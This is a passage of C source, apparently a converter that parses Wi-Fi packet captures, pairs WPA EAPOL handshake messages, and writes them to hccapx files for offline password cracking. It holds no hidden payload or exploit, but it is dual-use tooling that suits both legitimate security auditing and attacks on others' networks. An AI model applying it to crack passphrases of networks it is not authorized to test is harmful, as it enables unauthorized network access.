    header.tv_sec = byte_swap_32 (header.tv_sec);
    header.tv_usec = byte_swap_32 (header.tv_usec);
    header.caplen = byte_swap_32 (header.caplen);
    header.len = byte_swap_32 (header.len);
    }

    if ((header.tv_sec == 0) && (header.tv_usec == 0))
    {
    fprintf (stderr, "Zero value timestamps detected in file: %s.\n", in);
    fprintf (stderr, "This prevents correct EAPOL-Key timeout calculation.\n");
    fprintf (stderr, "Do not use preprocess the capture file with tools such as wpaclean.\n");

    return -1;
    }

    u8 packet[TCPDUMP_DECODE_LEN];

    if (header.caplen >= TCPDUMP_DECODE_LEN || (signed)header.caplen < 0)
    {
    fprintf (stderr, "%s: Oversized packet detected\n", in);

    break;
    }

    const u32 nread2 = fread (&packet, sizeof (u8), header.caplen, pcap);

    if (nread2 != header.caplen)
    {
    fprintf (stderr, "%s: Could not read pcap packet data\n", in);

    break;
    }

    u8 *packet_ptr = packet;

    if (pcap_file_header.linktype == DLT_IEEE802_11_PRISM)
    {
    if (header.caplen < sizeof (prism_header_t))
    {
    fprintf (stderr, "%s: Could not read prism header\n", in);

    break;
    }

    prism_header_t *prism_header = (prism_header_t *) packet;

    #ifdef BIG_ENDIAN_HOST
    prism_header->msgcode = byte_swap_32 (prism_header->msgcode);
    prism_header->msglen = byte_swap_32 (prism_header->msglen);
    #endif

    if ((signed)prism_header->msglen < 0)
    {
    fprintf (stderr, "%s: Oversized packet detected\n", in);

    break;
    }

    if ((signed)(header.caplen - prism_header->msglen) < 0)
    {
    fprintf (stderr, "%s: Oversized packet detected\n", in);

    break;
    }

    packet_ptr += prism_header->msglen;
    header.caplen -= prism_header->msglen;
    header.len -= prism_header->msglen;
    }
    else if (pcap_file_header.linktype == DLT_IEEE802_11_RADIO)
    {
    if (header.caplen < sizeof (ieee80211_radiotap_header_t))
    {
    fprintf (stderr, "%s: Could not read radiotap header\n", in);

    break;
    }

    ieee80211_radiotap_header_t *ieee80211_radiotap_header = (ieee80211_radiotap_header_t *) packet;

    #ifdef BIG_ENDIAN_HOST
    ieee80211_radiotap_header->it_len = byte_swap_16 (ieee80211_radiotap_header->it_len);
    ieee80211_radiotap_header->it_present = byte_swap_32 (ieee80211_radiotap_header->it_present);
    #endif

    if (ieee80211_radiotap_header->it_version != 0)
    {
    fprintf (stderr, "%s: Invalid radiotap header\n", in);

    break;
    }

    packet_ptr += ieee80211_radiotap_header->it_len;
    header.caplen -= ieee80211_radiotap_header->it_len;
    header.len -= ieee80211_radiotap_header->it_len;
    }
    else if (pcap_file_header.linktype == DLT_IEEE802_11_PPI_HDR)
    {
    if (header.caplen < sizeof (ppi_packet_header_t))
    {
    fprintf (stderr, "%s: Could not read ppi header\n", in);

    break;
    }

    ppi_packet_header_t *ppi_packet_header = (ppi_packet_header_t *) packet;

    #ifdef BIG_ENDIAN_HOST
    ppi_packet_header->pph_len = byte_swap_16 (ppi_packet_header->pph_len);
    #endif

    packet_ptr += ppi_packet_header->pph_len;
    header.caplen -= ppi_packet_header->pph_len;
    header.len -= ppi_packet_header->pph_len;
    }

    process_packet (packet_ptr, &header);
    }

    fclose (pcap);

    // inform the user

    printf ("Networks detected: %d\n", (int) essids_cnt);
    printf ("\n");

    if (essids_cnt == 0) return 0;

    // prepare output files

    FILE *fp = fopen (out, "wb");

    if (fp == NULL)
    {
    fprintf (stderr, "%s: %s\n", out, strerror (errno));

    return -1;
    }

    int written = 0;

    // find matching packets

    for (lsearch_cnt_t essids_pos = 0; essids_pos < essids_cnt; essids_pos++)
    {
    const essid_t *essid = essids + essids_pos;

    if (essid_filter) if (strcmp (essid->essid, essid_filter)) continue;

    printf ("[*] BSSID=%02x:%02x:%02x:%02x:%02x:%02x ESSID=%s (Length: %d)\n",
    essid->bssid[0],
    essid->bssid[1],
    essid->bssid[2],
    essid->bssid[3],
    essid->bssid[4],
    essid->bssid[5],
    essid->essid,
    essid->essid_len);

    for (lsearch_cnt_t excpkt_ap_pos = 0; excpkt_ap_pos < excpkts_cnt; excpkt_ap_pos++)
    {
    const excpkt_t *excpkt_ap = excpkts + excpkt_ap_pos;

    if ((excpkt_ap->excpkt_num != EXC_PKT_NUM_1) && (excpkt_ap->excpkt_num != EXC_PKT_NUM_3)) continue;

    if (memcmp (essid->bssid, excpkt_ap->mac_ap, 6) != 0) continue;

    for (lsearch_cnt_t excpkt_sta_pos = 0; excpkt_sta_pos < excpkts_cnt; excpkt_sta_pos++)
    {
    const excpkt_t *excpkt_sta = excpkts + excpkt_sta_pos;

    if ((excpkt_sta->excpkt_num != EXC_PKT_NUM_2) && (excpkt_sta->excpkt_num != EXC_PKT_NUM_4)) continue;

    if (memcmp (excpkt_ap->mac_ap, excpkt_sta->mac_ap, 6) != 0) continue;
    if (memcmp (excpkt_ap->mac_sta, excpkt_sta->mac_sta, 6) != 0) continue;

    const bool valid_replay_counter = (excpkt_ap->replay_counter == excpkt_sta->replay_counter) ? true : false;

    if (excpkt_ap->excpkt_num < excpkt_sta->excpkt_num)
    {
    if (excpkt_ap->tv_sec > excpkt_sta->tv_sec) continue;

    if ((excpkt_ap->tv_sec + EAPOL_TTL) < excpkt_sta->tv_sec) continue;
    }
    else
    {
    if (excpkt_sta->tv_sec > excpkt_ap->tv_sec) continue;

    if ((excpkt_sta->tv_sec + EAPOL_TTL) < excpkt_ap->tv_sec) continue;
    }

    u8 message_pair = 255;

    if ((excpkt_ap->excpkt_num == EXC_PKT_NUM_1) && (excpkt_sta->excpkt_num == EXC_PKT_NUM_2))
    {
    if (excpkt_sta->eapol_len > 0)
    {
    message_pair = MESSAGE_PAIR_M12E2;
    }
    else
    {
    continue;
    }
    }
    else if ((excpkt_ap->excpkt_num == EXC_PKT_NUM_1) && (excpkt_sta->excpkt_num == EXC_PKT_NUM_4))
    {
    if (excpkt_sta->eapol_len > 0)
    {
    message_pair = MESSAGE_PAIR_M14E4;
    }
    else
    {
    continue;
    }
    }
    else if ((excpkt_ap->excpkt_num == EXC_PKT_NUM_3) && (excpkt_sta->excpkt_num == EXC_PKT_NUM_2))
    {
    if (excpkt_sta->eapol_len > 0)
    {
    message_pair = MESSAGE_PAIR_M32E2;
    }
    else if (excpkt_ap->eapol_len > 0)
    {
    message_pair = MESSAGE_PAIR_M32E3;
    }
    else
    {
    continue;
    }
    }
    else if ((excpkt_ap->excpkt_num == EXC_PKT_NUM_3) && (excpkt_sta->excpkt_num == EXC_PKT_NUM_4))
    {
    if (excpkt_ap->eapol_len > 0)
    {
    message_pair = MESSAGE_PAIR_M34E3;
    }
    else if (excpkt_sta->eapol_len > 0)
    {
    message_pair = MESSAGE_PAIR_M34E4;
    }
    else
    {
    continue;
    }
    }
    else
    {
    fprintf (stderr, "BUG!!! AP:%d STA:%d\n", excpkt_ap->excpkt_num, excpkt_sta->excpkt_num);
    }

    int export = 1;

    switch (message_pair)
    {
    case MESSAGE_PAIR_M32E3: export = 0; break;
    case MESSAGE_PAIR_M34E3: export = 0; break;
    }

    if (export == 1)
    {
    printf (" --> STA=%02x:%02x:%02x:%02x:%02x:%02x, Message Pair=%u, Replay Counter=%" PRIu64 "\n",
    excpkt_sta->mac_sta[0],
    excpkt_sta->mac_sta[1],
    excpkt_sta->mac_sta[2],
    excpkt_sta->mac_sta[3],
    excpkt_sta->mac_sta[4],
    excpkt_sta->mac_sta[5],
    message_pair,
    excpkt_sta->replay_counter);
    }
    else
    {
    printf (" --> STA=%02x:%02x:%02x:%02x:%02x:%02x, Message Pair=%u [Skipped Export]\n",
    excpkt_sta->mac_sta[0],
    excpkt_sta->mac_sta[1],
    excpkt_sta->mac_sta[2],
    excpkt_sta->mac_sta[3],
    excpkt_sta->mac_sta[4],
    excpkt_sta->mac_sta[5],
    message_pair);

    continue;
    }

    // finally, write hccapx

    hccapx_t hccapx;

    memset (&hccapx, 0, sizeof (hccapx));

    hccapx.signature = HCCAPX_SIGNATURE;
    hccapx.version = HCCAPX_VERSION;

    hccapx.message_pair = message_pair;

    if (valid_replay_counter == false)
    {
    hccapx.message_pair |= 0x80;
    }

    hccapx.essid_len = essid->essid_len;
    memcpy (&hccapx.essid, essid->essid, 32);

    memcpy (&hccapx.mac_ap, excpkt_ap->mac_ap, 6);
    memcpy (&hccapx.nonce_ap, excpkt_ap->nonce, 32);

    memcpy (&hccapx.mac_sta, excpkt_sta->mac_sta, 6);
    memcpy (&hccapx.nonce_sta, excpkt_sta->nonce, 32);

    if (excpkt_sta->eapol_len > 0)
    {
    hccapx.keyver = excpkt_sta->keyver;
    memcpy (&hccapx.keymic, excpkt_sta->keymic, 16);

    hccapx.eapol_len = excpkt_sta->eapol_len;
    memcpy (&hccapx.eapol, excpkt_sta->eapol, 256);
    }
    else
    {
    hccapx.keyver = excpkt_ap->keyver;
    memcpy (&hccapx.keymic, excpkt_ap->keymic, 16);

    hccapx.eapol_len = excpkt_ap->eapol_len;
    memcpy (&hccapx.eapol, excpkt_ap->eapol, 256);
    }

    #ifdef BIG_ENDIAN_HOST
    hccapx.signature = byte_swap_32 (hccapx.signature);
    hccapx.version = byte_swap_32 (hccapx.version);
    hccapx.eapol_len = byte_swap_16 (hccapx.eapol_len);
    #endif

    fwrite (&hccapx, sizeof (hccapx_t), 1, fp);

    written++;
    }
    }
    }

    printf ("\n");
    printf ("Written %d WPA Handshakes to: %s\n", written, out);

    fclose (fp);

    // clean up

    free (excpkts);
    free (essids);

    return 0;
    }